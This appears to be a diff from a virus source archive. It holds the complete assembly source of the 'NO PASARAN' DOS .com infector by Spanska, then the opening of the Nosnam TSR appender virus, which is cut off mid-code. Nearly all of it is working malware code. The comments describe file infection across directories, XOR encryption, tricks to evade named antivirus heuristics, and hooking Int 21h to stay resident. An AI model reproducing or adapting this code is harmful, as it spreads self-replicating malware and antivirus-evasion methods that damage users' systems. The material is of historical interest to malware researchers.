loc_36:
|
||||
sub si,0FED8h
|
||||
mov di,100h
|
||||
push di
|
||||
movsw ; Mov [si] to es:[di]
|
||||
movsb ; Mov [si] to es:[di]
|
||||
ret
|
||||
db 3, 4, 92h, 0AEh, 0A7h, 0A8h
|
||||
db 20h, 0A4h, 0A5h, 0A1h, 0A5h, 0ABh
|
||||
db 20h, 0A8h, 0A4h, 0A8h, 0AEh, 0B2h
|
||||
db 20h, 0A2h, 0ACh, 0A5h, 0B1h, 0B2h
|
||||
db 0AEh, 20h, 0A4h, 0A0h, 20h, 0B6h
|
||||
db 0A5h, 0ABh, 0B3h, 0ADh, 0A5h, 20h
|
||||
db 0B1h, 0AEh, 0B7h, 0ADh, 0A8h, 0B2h
|
||||
db 0A5h, 20h, 0B3h, 0B1h, 0B2h, 0ADh
|
||||
db 0A8h, 20h, 0ADh, 0A0h, 20h, 0ACh
|
||||
db 0AEh, 0ACh, 0A8h, 0B7h, 0A5h, 0B2h
|
||||
db 0AEh, 2Ch, 20h, 0A2h, 0AFh, 0A8h
|
||||
db 20h, 0B3h, 0B1h, 0B2h, 0ADh, 0A8h
|
||||
db 20h, 0B2h, 0A0h, 0ACh, 2Ch, 20h
|
||||
db 0AAh, 0BAh, 0A4h, 0A5h, 0B2h, 0AEh
|
||||
db 20h, 0B2h, 0B0h, 0BFh, 0A1h, 0A2h
|
||||
db 0A0h, 0B8h, 0A5h, 20h, 0A4h, 0A0h
|
||||
db 20h, 0B1h, 0ABh, 0AEh, 0A6h, 0A8h
|
||||
db 20h, 0B1h, 0BAh, 0A2h, 0B1h, 0A5h
|
||||
db 0ACh, 20h, 0A4h, 0B0h, 0B3h, 0A3h
|
||||
db 0AEh, 20h, 0ADh, 0A5h, 0B9h, 0AEh
|
||||
db 0, 4, 0, 0CDh, 20h, 90h
|
||||
|
||||
code_seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
|
@ -0,0 +1,667 @@
|
|||
; NO PASARAN virus version 2 by Spanska
|
||||
; Called Spanska.1000 by AV people
|
||||
; This is my first virus
|
||||
;
|
||||
;***********************************************************************
|
||||
;
|
||||
; This virus is dedicated to all spanish and international young
|
||||
; guys who fighted against fascist army during Spanish Civil War
|
||||
; (1936-1939). They said "THEY SHALL NOT PASS!"
|
||||
;
|
||||
;********************************contact me at el_gato@rocketmail.com***
|
||||
;
|
||||
; No flag with TBSCAN
|
||||
; At the time it was released (january 97), was not detected by
|
||||
; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode
|
||||
; but by DrWeb in heuristic mode (i didn't know this program...)
|
||||
;
|
||||
; generation zero size: 3537 bytes
|
||||
; virus size: 1000 bytes
|
||||
;
|
||||
; Compile it with TASM /m2 and TLINK /t
|
||||
;
|
||||
; Properties:
|
||||
; simple .com runtime infector
|
||||
; not destructive
|
||||
; encrypted with variable key
|
||||
; infects 7 files each run
|
||||
; infects current directory, than upper directories
|
||||
; when it reaches the root, it starts infecting all "level1" subdirectories
|
||||
; doe not infect files >60,000 or <100 bytes, nor command.com
|
||||
; the VGA graphic bomb (a fire effect) explodes when minutes=22
|
||||
; and seconds<30 (1/120)
|
||||
|
||||
code segment
|
||||
assume ds:code, ss:code, cs:code, es:code
|
||||
org 100h
|
||||
;
|
||||
;---------------fake host code--------------------
|
||||
;
|
||||
hote:
|
||||
call virus ;jump to viral code (avoid J flag)
|
||||
signature db "lc" ;virus signature
|
||||
nop ;
|
||||
nop ;fake host
|
||||
nop ;
|
||||
nop ;
|
||||
mov ah, 4ch ;finished
|
||||
mov al,0 ;go to
|
||||
int 21h ;DOS
|
||||
|
||||
;**********************************************************************
|
||||
; START OF VIRAL CODE
|
||||
;**********************************************************************
|
||||
|
||||
virus: ;virus starts here
|
||||
jmp evite ;avoid next routine
|
||||
|
||||
;=== simulation of a stosb ===
|
||||
;=== when outside decrypt loop ===
|
||||
;=== do not flag # ===
|
||||
baise_flag_cryptage: ;===
|
||||
mov [di], al ;=========>>> NO MORE FLAG "#" !!!!!
|
||||
inc di ;===
|
||||
ret ;===
|
||||
;===================================
|
||||
;
|
||||
;---------------get delta offset----------------------------
|
||||
;
|
||||
evite:
|
||||
call $+3 ;modified classic
|
||||
delta: ;routine to
|
||||
mov bp, sp ;avoid flag E
|
||||
mov ax, [bp] ;
|
||||
add word ptr [bp], decrypte-delta ;thanks Slacker's Theory
|
||||
sub ax, offset delta ;of Code through Obscurity!
|
||||
mov bp, ax
|
||||
ret
|
||||
;
|
||||
;----------------------decrypting routine-------------------------
|
||||
;
|
||||
decrypte:
|
||||
mov dl, [bp+offset clef] ;get actual key
|
||||
mov cx, fin_cryptage - debut_cryptage ;
|
||||
lea si, [bp+offset debut_cryptage] ;
|
||||
mov di, si ;
|
||||
xor_loop: ;decrypt loop
|
||||
mov al, [si] ;
|
||||
inc si ;
|
||||
xor al, dl ;
|
||||
call baise_flag_cryptage ;call the fake stosb to avoid flag #
|
||||
loop xor_loop
|
||||
;
|
||||
;-----initialization to 0 of both infection and directory counters--------
|
||||
;
|
||||
debut_cryptage: ;crypted zone starts here
|
||||
mov byte ptr [bp+offset compteur], 0 ;infection counter
|
||||
mov byte ptr [bp+offset phase], 0 ;directory counter
|
||||
;
|
||||
;-----------------------remember current repertory-----------------------
|
||||
;
|
||||
lea si, [bp+offset repert] ;
|
||||
xor dl, dl ;
|
||||
mov ah, 47h ;
|
||||
int 21h ;
|
||||
;
|
||||
;-----------------DTA go to a predefined zone in memory------------------
|
||||
;
|
||||
push 1a00h ;push/pop to
|
||||
pop ax ;avoid flag F
|
||||
lea dx, [bp+offset dta] ;
|
||||
int 21h ;
|
||||
;
|
||||
;------------------------find first file---------------------------------
|
||||
;
|
||||
recherche:
|
||||
mov cx, 0007h ;
|
||||
lea dx, [bp+offset file_type] ;
|
||||
mov ax, 4e00h ;
|
||||
int 21h ;file found?
|
||||
jnc sauter_suivant ;yes => c=0, let's continue
|
||||
jmp rep_sup ;no => go to upper directory
|
||||
;
|
||||
;---------------------------find next file--------------------------------
|
||||
;
|
||||
fichier_suivant:
|
||||
lea dx, [bp+offset file_type] ;
|
||||
mov ax, 4f00h ;
|
||||
mov cx, 0007h ;
|
||||
int 21h ;file found?
|
||||
jnc saut5 ;yes => c=0, let's continue
|
||||
jmp rep_sup ;no => go to upper direcory
|
||||
saut5:
|
||||
;
|
||||
;---------------verify if extension is really .com---------------------
|
||||
; (it's made to avoid flag S with tbscan)
|
||||
; (and to avoid AVP detection 'cause AVP detects all combinations
|
||||
; like .c?m, .?om..., BUT .c*)
|
||||
;
|
||||
sauter_suivant:
|
||||
mov cx, 13d ;max size of a file name (not really, but
|
||||
lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere)
|
||||
compare: ;loop for detecting start of the extension
|
||||
lodsb ;letter in al
|
||||
cmp al, "." ;is it a point?
|
||||
jne compare ;no => test next letter
|
||||
inc si ;yes => si points on second extension letter
|
||||
cmp word ptr [si], "MO" ;second and third letters are "OM"?
|
||||
jne fichier_suivant ;no => find next file
|
||||
;
|
||||
;-------------------verify if it's command.com----------------------------
|
||||
;
|
||||
cmp word ptr [bp+offset dta+1eh+2], "MM"
|
||||
je fichier_suivant ;yes => find next file
|
||||
;
|
||||
;------------attributes to 0 to infect special files---------------------
|
||||
;
|
||||
lea dx, [bp+offset dta+1eh] ;file name pointed with dx
|
||||
push 4301h ;push/pull to
|
||||
pop ax ;avoid flag F
|
||||
xor cx, cx ;
|
||||
int 21h ;
|
||||
;
|
||||
;---------------------------open file------------------------------------
|
||||
;
|
||||
mov ax, 3D02h ;
|
||||
lea dx, [bp+offset dta+1eh] ;
|
||||
int 21h ;file found?
|
||||
jnc saut2 ;yes => c=0, let's continue
|
||||
jmp remise_en_etat ;no => arrange file and close it
|
||||
saut2: ;
|
||||
mov [bp+offset handle],ax ;
|
||||
;
|
||||
;-----------------read 5 first bytes of the file---------------------
|
||||
;
|
||||
xchg ax, bx ;
|
||||
mov cx, 5 ;
|
||||
mov ax, 3F00h ;
|
||||
lea dx, [bp+offset contenu] ;bytes go to "contenu" zone
|
||||
int 21h ;file found?
|
||||
jnc saut3 ;yes => c=0, let's continue
|
||||
jmp remise_en_etat ;no => arrange file and close it
|
||||
saut3: ;
|
||||
;
|
||||
;------------------is the file already infected?-----------------------
|
||||
;
|
||||
cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature
|
||||
jnz saut4 ;not infected => z=0, let's continue
|
||||
jmp remise_en_etat ;already infected => arrange file and close
|
||||
saut4: ;
|
||||
;
|
||||
;-----------------------is the size correct?---------------------------
|
||||
;
|
||||
cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000
|
||||
jna pas_trop_gros ;is it bigger?
|
||||
jmp remise_en_etat ;yes => find next file
|
||||
pas_trop_gros: ;no => other verification
|
||||
cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100
|
||||
jnb verif_ok ;if >100 let's continue
|
||||
;
|
||||
;--------arrange file and close it in case of non-infection-------------
|
||||
;
|
||||
remise_en_etat:
|
||||
mov ah, 3Eh ;
|
||||
int 21h ;close it
|
||||
;
|
||||
;------------------restore attributes-----------------------------------
|
||||
;
|
||||
lea dx, [bp+offset dta+1eh] ;
|
||||
xor ch, ch ;
|
||||
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA
|
||||
push 4301h ;push/pop to
|
||||
pop ax ;avoid flag F
|
||||
int 21h ;
|
||||
;
|
||||
;----------after arranging the file, let's find another one-------------
|
||||
;
|
||||
jmp fichier_suivant ;go to find-next routine
|
||||
;
|
||||
;-------------------disk file pointer at the end-------------------
|
||||
;
|
||||
verif_ok:
|
||||
mov ax, 4202h ;
|
||||
xor cx, cx ;
|
||||
mov dx, cx ;
|
||||
int 21h ;
|
||||
;
|
||||
;----------------------infection routine------------------------------
|
||||
;
|
||||
;first, let's write non-encrypted part
|
||||
;
|
||||
mov ax, 4000h ;
|
||||
mov cx, debut_cryptage - virus ;
|
||||
lea dx, [bp+offset virus] ;
|
||||
int 21h ;
|
||||
;
|
||||
;second, let's crypt next part in memory
|
||||
;
|
||||
mov cl, [bp+offset cinq_octets+1] ;cl=new key
|
||||
mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone
|
||||
lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone
|
||||
lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting
|
||||
xchg cl, dl ;key in dl
|
||||
mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt
|
||||
crypte_et_transfere: ;
|
||||
lodsb ;
|
||||
xor al, dl ;classic XOR crypting loop
|
||||
stosb ;
|
||||
loop crypte_et_transfere ;
|
||||
;
|
||||
;third, disk writing of the crypted zone
|
||||
;
|
||||
mov ax, 4000h ;
|
||||
mov cx, fin_cryptage - debut_cryptage ;number of bytes to write
|
||||
lea dx, [bp+offset zone_de_travail] ;
|
||||
int 21h ;
|
||||
;
|
||||
;------write on disk real 5 first bytes of the file+new crypt key--------
|
||||
;----from "contenu" zone in memory to "cinq_octets" zone on the disk)----
|
||||
;
|
||||
;1) move disk file pointer to good zone
|
||||
;
|
||||
xor cx, cx ;
|
||||
mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx
|
||||
add dx, cinq_octets - virus ;add offset of good zone
|
||||
mov ax, 4200h ;
|
||||
int 21h ;
|
||||
;
|
||||
;2) move memory pointer to good zone, and transfer
|
||||
;
|
||||
mov cx, 6 ;we will write 6 bytes
|
||||
lea dx, [bp+offset contenu] ;("contenu" + "clef_temp")
|
||||
push 4000h ;so 5 first bytes + new key
|
||||
pop ax ;this push/pop is not necessary
|
||||
int 21h ;
|
||||
;
|
||||
;--overwrite 5 first bytes on the disk by jump to virus code + signature---
|
||||
;
|
||||
;1) move disk file pointer to start of the file
|
||||
;
|
||||
xor cx,cx ;
|
||||
mov dx, cx ;
|
||||
mov ax, 4200h ;
|
||||
int 21h ;
|
||||
;
|
||||
;2) calculate initial jump and write all on a temp zone in memory
|
||||
;(NB: we use the "contenu" memory zone which is not more util)
|
||||
;
|
||||
mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL
|
||||
mov ax, word ptr [bp+offset dta+1ah] ;ax=file size
|
||||
sub ax, 3 ;this is because of the CALL
|
||||
mov word ptr [bp+offset contenu+1], ax ;write deplacement
|
||||
mov word ptr [bp+offset contenu+3], "cl" ;write signature
|
||||
;
|
||||
;3) overwrite 5 first bytes on the file
|
||||
;
|
||||
mov cx,5 ;
|
||||
lea dx, [bp+offset contenu] ;
|
||||
mov ax, 4000h ;
|
||||
int 21h ;
|
||||
;
|
||||
;-------------------restore time/date of the file------------------------
|
||||
;
|
||||
mov dx, word ptr [bp+offset dta+18h] ;date in dx
|
||||
mov cx, word ptr [bp+offset dta+16h] ;time in cx
|
||||
push 5701h ;push/pop
|
||||
pop ax ;to avoid flag F
|
||||
int 21h ;
|
||||
;
|
||||
;-----------------------------close file---------------------------------
|
||||
;
|
||||
mov ah, 3Eh ;
|
||||
int 21h ;
|
||||
;
|
||||
;------------------------restore file attributes-----------------------
|
||||
;
|
||||
lea dx, [bp+offset dta+1eh] ;
|
||||
xor ch, ch ;
|
||||
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA
|
||||
push 4301h ;
|
||||
pop ax ;
|
||||
int 21h ;
|
||||
;
|
||||
;--------------verify how many files we have infected------------------
|
||||
;
|
||||
mov byte ptr cl, [bp+offset compteur] ;infection counter in cl
|
||||
inc cl ;one more
|
||||
cmp cl, 7 ;have we infected 7 files?
|
||||
je attendre ;yes => let's stop
|
||||
mov byte ptr [bp+offset compteur], cl ;no => write new value of counter
|
||||
;
|
||||
;-----------------------let's infect a new file-------------------------
|
||||
;
|
||||
jmp fichier_suivant ;infect next file
|
||||
;
|
||||
;---------------------climb to upper directory--------------------------
|
||||
;
|
||||
rep_sup:
|
||||
lea dx, [bp+offset dot] ;let's go to ".." repertory
|
||||
mov ah, 3bh ;
|
||||
int 21h ;are we in the root?
|
||||
jc on_redescend ;yes => c=1, let's go down now
|
||||
jmp recherche ;no => find first file
|
||||
;
|
||||
;---if we are in root, let's go to all "first-level" subdirectories-----
|
||||
;
|
||||
on_redescend: ;
|
||||
mov ah, 4eh ;find first file
|
||||
mov cx, 16 ;with repertory attribute
|
||||
lea dx, [bp+offset dir_masque] ;called "*.*"...
|
||||
int 21h ;
|
||||
jc attendre ;there are no subdirectory => stop
|
||||
|
||||
cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)?
|
||||
je le_premier ;phase=0 => do not find next dir
|
||||
|
||||
xor bh, bh ;
|
||||
mov bl, byte ptr [bp+offset phase] ;bx=phase
|
||||
|
||||
rep_suivant: ;loop to avoid all subdir already infected
|
||||
mov cx, 16 ;rep attributes
|
||||
mov ah, 4fh ;find next dir
|
||||
lea dx, [bp+offset dir_masque] ;
|
||||
int 21h ;
|
||||
jc attendre ;there are no subdirectory => stop
|
||||
|
||||
cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory?
|
||||
jne rep_suivant ;no => find next
|
||||
|
||||
dec bx ;this routine is made to infect
|
||||
cmp bx, 0 ;directory "number phase"
|
||||
jne rep_suivant ;if bx<>0, the subdir is already infected
|
||||
|
||||
le_premier:
|
||||
add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected
|
||||
|
||||
lea dx, [bp+offset dta+1eh] ;so, let's change
|
||||
mov ah, 3bh ;directory to it
|
||||
int 21h ;
|
||||
|
||||
jmp recherche ;and infect this new subdirectory
|
||||
;
|
||||
;-----in case of problem, or no more directory to infect, we go here------
|
||||
;
|
||||
attendre: ;
|
||||
;
|
||||
;------------------DTA in the normal zone-----------------------------
|
||||
; (to avoid perturbing host program)
|
||||
;
|
||||
push 1a00h ;push/pop
|
||||
pop ax ;to avoid flag F
|
||||
mov dx, 80h ;to 80h, the normal zone
|
||||
int 21h ;
|
||||
;
|
||||
;------restore the directory in which we were when we started-------------
|
||||
;
|
||||
;primo, rapid climb until the root
|
||||
;
|
||||
remontee_finale:
|
||||
lea dx, [bp+offset dot] ;
|
||||
mov ah, 3bh ;
|
||||
int 21h ;
|
||||
jnc remontee_finale ;continue until we are in the root
|
||||
;
|
||||
;secundo, we go to the directory in which we were at start
|
||||
;
|
||||
lea dx, [bp+offset repert] ;we saved the dir in this zone
|
||||
mov ax, 3B00h ;change dir
|
||||
int 21h ;
|
||||
;
|
||||
;------replace 5 first bytes of the host in memory----------
|
||||
;
|
||||
lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here
|
||||
mov ax, 101h ;classic trick to
|
||||
dec ax ;avoid flag B
|
||||
mov di, ax ;100h in DI for transfer
|
||||
mov cx, 5 ;write 5 bytes
|
||||
rep movsb ;transfer them
|
||||
;
|
||||
;--------------------does the bomb explode?---------------------
|
||||
;
|
||||
mov ah, 2Ch ;internal clock: ch=hour et cl=minute
|
||||
int 21h ;
|
||||
cmp cl, 22d ;minutes = 22?
|
||||
jne redonner_la_main ;no => return to host
|
||||
cmp dh, 30d ;yes => test seconds
|
||||
jb bombe ;if seconds <30 (1/120) the bomb explodes
|
||||
;
|
||||
;-----------------------return to host----------------------------
|
||||
; (remember the very first CALL: we have 103h on the stack)
|
||||
;
|
||||
redonner_la_main:
|
||||
pop ax ;get 103h
|
||||
sub ax, 3 ;we want 100h
|
||||
push ax ;re-put it on stack (for the RET)
|
||||
xor ax, ax ;a starting program
|
||||
xor bx, bx ;likes to find all
|
||||
xor cx, cx ;registers equals
|
||||
xor dx, dx ;to zero.
|
||||
ret ;on redonne la main au pauvre programme
|
||||
|
||||
nop
|
||||
nop ;just for fun: with these 3 nops, virus size is just 1000.
|
||||
nop
|
||||
;
|
||||
;**********************************************************************
|
||||
; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT
|
||||
;**********************************************************************
|
||||
bombe:
|
||||
|
||||
;--------------------------------VGA-----------------------------------
|
||||
|
||||
mov ax, 13h ;
|
||||
int 10h ;goto graphic mode
|
||||
|
||||
|
||||
;------initialisation of the flame palette (black=>red=>white)----------
|
||||
|
||||
mov dx, 3c8h ;dx = palette port
|
||||
xor al, al ;starting with color 0
|
||||
out dx, al ;write first color in the port
|
||||
inc dx ;define all colors
|
||||
|
||||
xor cx, cx ;component red start from 0 and augment
|
||||
rouges: ;let's define colors from 0 to 62
|
||||
mov al, cl ;first component (red) equal to cl
|
||||
out dx, al ;write on palette port
|
||||
xor al, al ;others components (blue, green) to zero
|
||||
out dx, al ;write blue component
|
||||
out dx, al ;write green component
|
||||
inc cx ;increment red component of color
|
||||
cmp cx, 63 ;do cx reach 63?
|
||||
jne rouges ;no => continue loop
|
||||
|
||||
xor cx, cx ;component blue start from 0 and augment
|
||||
jaunes: ;let's define colors from 63 to 125
|
||||
mov al, 63 ;component red equal to 63
|
||||
out dx, al ;write it
|
||||
mov al, cl ;second component (blue) equal to cl
|
||||
out dx, al ;write it
|
||||
xor al, al ;third component (green) equal to zero
|
||||
out dx, al ;write it
|
||||
inc cx ;increment blue component of color
|
||||
cmp cx, 63 ;do cx reach 63?
|
||||
jne jaunes ;no => continue loop
|
||||
|
||||
xor cx, cx ;component green start from 0 and augment
|
||||
blancs: ;let's define colors from 126 to 188
|
||||
mov al, 63 ;components red and blue equal to 63
|
||||
out dx, al ;write red component
|
||||
out dx, al ;write blue component
|
||||
mov al, cl ;third component (green) equal to cl
|
||||
out dx, al ;write it
|
||||
inc cx ;increment green component of color
|
||||
cmp cx, 63 ;do cx reach 63?
|
||||
jne blancs ;no => continue loop
|
||||
|
||||
mov cx, 198 ;we're going to define 198/3=66 next colors
|
||||
blancfin: ;let's define colors from 189 to 254
|
||||
mov al, 255 ;all components are maximum
|
||||
out dx, al ;so these colors are white
|
||||
loop blancfin ;
|
||||
|
||||
xor al, al ;define last color (number 255)
|
||||
mov cx, 3 ;in black so we do not see the
|
||||
rep out dx, al ;focus at the bottom of the flame
|
||||
|
||||
;------------draw some focus at the bottom at random places--------------
|
||||
|
||||
mov ax, 0a000h ;video mem
|
||||
mov es, ax ;segment in es
|
||||
boucle:
|
||||
mov di, (320*199)+5 ;start line 199, 5 pixels from the left side
|
||||
|
||||
foyers:
|
||||
call random ;bring back a random dl between 0 and 255
|
||||
cmp dl, 180 ;dl>180?
|
||||
jb noir ;no => no focus, color to black
|
||||
mov dl, 255 ;yes => a focus, color to white
|
||||
jmp blanc ;avoid "no focus" routine
|
||||
|
||||
noir:
|
||||
xor dl, dl ;no focus, color to black
|
||||
blanc:
|
||||
mov al, dl ;load al with color
|
||||
mov cx, 5 ;focuses are 5 pixels long
|
||||
|
||||
zobi:
|
||||
stosb ;draw focus pixel
|
||||
add di, 319 ;and draw another pixel
|
||||
stosb ;under the first
|
||||
sub di, 320 ;(more beautiful)
|
||||
loop zobi
|
||||
|
||||
cmp di, (320*199)+30 ;the torch will be 30 pixels wide
|
||||
jb foyers ;focus line not finished, so loop
|
||||
|
||||
;--------real screen--->modification--->virtual screen------------------
|
||||
|
||||
mov di, 320*120 ;we use just the 80 bottom lines
|
||||
lea si, [bp+offset ecran_virtuel] ;memory zone for calculations
|
||||
mov dx, 80 ;line loop: 80 repetitions
|
||||
xor ax, ax ;we gonna use ax, so put zero
|
||||
|
||||
ecran: ;start of line loop
|
||||
mov cx, 30 ;column loop: 30 repetitions
|
||||
|
||||
modif: ;start of column loop
|
||||
|
||||
mov al, es:[di] ;in al, color of current pixel
|
||||
add al, es:[di+320] ;add pixel color just under it
|
||||
adc ah, 0 ;result may be >255, so add carry
|
||||
add al, es:[di+319] ;add pixel color under it to the left
|
||||
adc ah, 0 ;add carry
|
||||
add al, es:[di+641] ;add pixel 2 lines under it to the right
|
||||
adc ah, 0 ;add carry
|
||||
shr ax, 1 ;calculate the average color of these
|
||||
shr ax, 1 ;4 pixels, dividing ax by 4
|
||||
cmp al, 0 ;is this average value black?
|
||||
je bitnoir ;yes => do not decrement color
|
||||
dec al ;no => decrement color
|
||||
|
||||
bitnoir:
|
||||
mov ds:[si], al ;write pixel with new color on memory
|
||||
inc si ;next pixel on memory (virtual screen)
|
||||
inc di ;next pixel on screen (real screen)
|
||||
|
||||
loop modif ;finish the line
|
||||
|
||||
add di, (320-30) ;on screen, go to first pixel of next line
|
||||
dec dx ;dx = line counter, decrement it
|
||||
cmp dx, 0 ;are we to the bottom of the screen?
|
||||
jne ecran ;no => let's go to next line
|
||||
|
||||
;----------------virtual screen--->real screen-------------------------
|
||||
|
||||
mov di, (320*120) ;di points to line 120 on real screen
|
||||
lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen
|
||||
|
||||
xor dx, dx ;line counter to zero
|
||||
|
||||
deux_flammes:
|
||||
mov cx, 30 ;copy one line to the
|
||||
rep movsb ;left side of the screen
|
||||
sub si, 30 ;virtual: rewind to the start of the same line
|
||||
add di, 230 ;real: draw the second torch at column 230+30+5
|
||||
mov cx, 30 ;copy the same line to the
|
||||
rep movsb ;right side of the screen
|
||||
add di, 30 ;real: start next line (NB: 295+30=320+5)
|
||||
inc dx ;increment line counter
|
||||
cmp dx, 79 ;copy 78 lines
|
||||
jne deux_flammes
|
||||
|
||||
;--------------put text cursor at line 5, column 1----------------------
|
||||
|
||||
mov dx, 0501h ;dh=line, dl=column
|
||||
xor bh, bh ;page zero
|
||||
mov ah,02h ;put cursor to position DH, DL
|
||||
int 10h ;BIOS screen int
|
||||
|
||||
;--------------------write text message on screen-----------------------
|
||||
|
||||
mov ah, [bp+offset clignote] ;blink counter in ah
|
||||
inc ah ;increment it
|
||||
mov [bp+offset clignote], ah ;put it back to its place
|
||||
cmp ah, 128 ;compare it to 128 (alternance time 50/50)
|
||||
ja second_message ;inferior => write second message
|
||||
lea si, [bp+offset message] ;superior => write first message
|
||||
jmp premier_message ;and avoid second message
|
||||
second_message: ;
|
||||
lea si, [bp+offset message2] ;now write second message
|
||||
premier_message:
|
||||
|
||||
mov cx, 36 ;message lenght
|
||||
|
||||
affiche_message:
|
||||
lodsb ;load letter in al
|
||||
mov bl, 254 ;and color in bl (white)
|
||||
mov ah, 0Eh ;
|
||||
int 10h ;write this letter on screen
|
||||
loop affiche_message
|
||||
|
||||
jmp boucle ;return to step "draw focus"
|
||||
|
||||
;-----------random number creation routine (stolen somewhere)--------------
|
||||
|
||||
random proc near
|
||||
mov ax, [bp+offset aleat]
|
||||
mov dx, 8405h
|
||||
mul dx
|
||||
inc ax
|
||||
mov [bp+offset aleat], ax
|
||||
ret
|
||||
random endp
|
||||
|
||||
;--------------memory zones of the graphic effect------------------------
|
||||
|
||||
message db " Remember those who died for Madrid " ;message 1
|
||||
message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2
|
||||
clignote db 00 ;blink counter
|
||||
aleat dw 0AAh ;random seed
|
||||
|
||||
;
|
||||
;-------------------memory zones of the virus----------------------------
|
||||
;
|
||||
dir_masque db "*.*",0 ;mask to find subdirectories
|
||||
file_type db "*.c*",0 ;mask to find file type
|
||||
dot db "..",0 ;mask to find upper directory
|
||||
fin_cryptage: ;end of crypting
|
||||
cinq_octets db 5 dup(90h) ;5 first bytes of host
|
||||
clef db 0 ;crypt key
|
||||
;
|
||||
;--------these temporary memory zones are not written on disk------------
|
||||
;
|
||||
phase db 0 ;to find the good subdirectories
|
||||
compteur db 0 ;infection counter
|
||||
handle db 0,0 ;file handle
|
||||
contenu db 0,0,0,0,0 ;to read 5 first bytes of a file
|
||||
clef_temp db 0 ;crypt key
|
||||
dta db 48 dup (0AAh) ;DTA zone
|
||||
repert db 64 dup (0FFh) ;starting directory
|
||||
ecran_virtuel db 80*30 dup (00) ;virtual screen
|
||||
zone_de_travail: ;used to crypt virus
|
||||
|
||||
code ends
|
||||
end hote
|
||||
|
||||
; ------------------------(c) Spanska 1997------------------------------
|
|
@ -0,0 +1,264 @@
|
|||
; ------------------------------------------------------------------------- ;
|
||||
; Nosnam v1.5 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 07/06/98 | Finished: 09/06/98 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - TSR *.com appender, direct MCB manipulation style | Size: 430 ;
|
||||
; v1.1 - add some XOR,NEG,NOT,ROR encryption to this `---------- ;
|
||||
; v1.2 - Infects only files < 1,000 bytes and > 62,000 bytes ;
|
||||
; v1.3 - saves and restores the time / date stamps ;
|
||||
; v1.4 - infects files with any attributes ;
|
||||
; v1.5 - saves and restores file attributes ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------> For Christine Moore, For The Codebreakers & For Mind Warp <----- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm nosnam.asm ;
|
||||
; to link :::::] tlink /t nosnam.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign cs and ds to code
|
||||
org 100h ; this be a .com file
|
||||
.286 ; needed for pusha/popa
|
||||
|
||||
blank: db 0e9h,0,0 ; define blank jump
|
||||
start: call delta ; push IP on to stack
|
||||
delta: pop bp ; pop it into BP
|
||||
sub bp,offset delta ; get delta offset
|
||||
|
||||
encryp: jmp first ; jump to first (overwritten)
|
||||
lea si,[bp+encd] ; load SI with encrypted area start
|
||||
mov di,si ; move that address into DI
|
||||
call encr ; call the encryption loop
|
||||
jmp encd ; jump to encrypted area start
|
||||
|
||||
encr: lodsb ; load a byte from AL
|
||||
not al ; encryptin 1
|
||||
ror al,4 ; encryptin 2
|
||||
neg al ; encryptin 3
|
||||
xor al,byte ptr [bp+key] ; unencrypt 4
|
||||
neg al ; unencrypt 3
|
||||
ror al,4 ; unencrypt 2
|
||||
not al ; unencrypt 1
|
||||
stosb ; store the byte
|
||||
loop encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
key db 0 ; define our key here
|
||||
|
||||
encd: mov ax,0deadh ; move 0deadh into AX
|
||||
int 21h ; if resident, 0deadh is in BX
|
||||
cmp bx,0deadh ; check to see if it is
|
||||
jne go_rez ; nope, go rezident now
|
||||
jmp first3 ; jump to first three
|
||||
|
||||
go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
|
||||
mov ax,cs ; move CS into AX
|
||||
dec ax ; decrement AX
|
||||
mov ds,ax ; move new value into DS
|
||||
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
|
||||
xor ax,ax ; AX to 0 now
|
||||
mov ds,ax ; DS is now 0
|
||||
sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
|
||||
mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
|
||||
mov cl,6 ; load CL with 6
|
||||
shl ax,cl ; multiply BIOS base mem by 64
|
||||
mov es,ax ; move the value to ES
|
||||
push cs ; push CS again so you can
|
||||
pop ds ; restore DS to original value
|
||||
xor di,di ; DI is now 0
|
||||
lea si,[bp+start] ; SI loaded with start address
|
||||
mov cx,finished-start ; # of bytes to write
|
||||
rep movsb ; load virus into memory
|
||||
|
||||
hook: xor ax,ax ; ax to 0
|
||||
mov ds,ax ; DS to 0
|
||||
lea ax,isr ; point IVT to new ISR
|
||||
sub ax,offset start ; subtract start offset
|
||||
mov bx,es ; move extra segment into BX
|
||||
|
||||
cli ; clear interrupts
|
||||
xchg ax,word ptr ds:[21h*4] ; getting Int 21
|
||||
xchg bx,word ptr ds:[21h*4+2] ; into bx and ax
|
||||
mov word ptr es:[oi21-offset start],ax ; save old int 21
|
||||
mov word ptr es:[oi21+2-offset start],bx ; save old int 21
|
||||
sti ; restore interrupts
|
||||
|
||||
push cs ; push code segment register
|
||||
push cs ; push it again
|
||||
pop ds ; put it into DS
|
||||
pop es ; put it into ES
|
||||
|
